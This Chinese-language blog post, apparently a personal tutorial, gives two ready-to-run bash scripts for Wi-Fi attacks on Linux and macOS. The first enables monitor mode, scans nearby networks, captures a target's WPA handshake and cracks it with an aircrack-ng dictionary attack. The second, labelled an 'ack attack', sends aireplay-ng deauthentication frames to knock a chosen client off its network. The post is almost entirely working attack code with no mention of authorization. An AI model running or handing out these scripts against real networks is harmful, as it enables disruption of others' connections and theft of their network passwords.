airodump-ng、aircrack-ng使用教程

目录

1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin

2. ack攻击


1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin

#!/bin/bash

# 启动网卡监听模式,传入系统版本
startWlanMonitor(){
    if [ $1 = "Linux" ]
    then
        if [ -z `iwconfig | awk '{if($1=="wlan0mon") print $1}'`]
        then
            airmon-ng start wlan0
        fi
    else
        echo "start Darwin wlanMonitor "
    fi
}

# 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本
startScanner(){ 
    if [ $1 = "Linux" ]
    then
        airodump-ng wlan0mon 
    else
        /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s
    fi
}

# 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控,传入系统版本
startAirodump(){
    if [ $1 = "Linux" ]
    then
        read -p "input BSSID > " inputBssid
        read -p "input CHANNEL > " inputChannel
        airodump-ng -c $inputChannel --bssid $inputBssid -w ./handshake wlan0mon
    else
        read -p "input CHANNEL > " inputChannel
        /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport en0 sniff $inputChannel
    fi
}

###############################################################
# 主函数方法
###############################################################

echo "*************************************************************"
# 系统检查, 支持Linux和Darwin
system='Linux'
[ `uname` != $system ] && system='Darwin'
echo "system version:" $system
# 创建临时文件夹
[ ! -d "./tmp" ] && mkdir ./tmp
cd tmp
echo "*************************************************************"
# 选择开启监控或者只分析handshake文件,默认只分析handshake文件
read -p "only analyzing handshake file or airmon 1/2 > " inputChoose
if [ "$inputChoose" = "2" ]
then
    echo "*************************************************************"
    # 启动网卡的监听模式,传入系统版本
    startWlanMonitor $system
    echo "*************************************************************"
    # 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本
    startScanner $system
    echo "*************************************************************"
    # 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控
    startAirodump $system
fi
echo "*************************************************************"
# 开始密码破解
read -p "start analyzing handshake file, y/n > " inputAsk
if [ "$inputAsk" = "y" -o "$inputAsk" = "Y" -o -z "$inputAsk" ]
then
    cp /tmp/*.cap ./
    aircrack-ng -w ../数据字典.txt ./*.cap
fi
echo "*************************************************************"
echo "exec over !!!"

2. ack攻击

#!/bin/bash
# 执行ACK攻击
echo "*************************************************************"
echo "ack attack "
echo "aireplay-ng -0 10 -a BSSID -c STATION wlan0mon"
echo "*************************************************************"
read -p "input BSSID > " BSSID
read -p "input STATION > " STATION
aireplay-ng -0 10 -a $BSSID -c $STATION wlan0mon

你可能感兴趣的:(个人总结,macos,kali,linux,bash,wifi)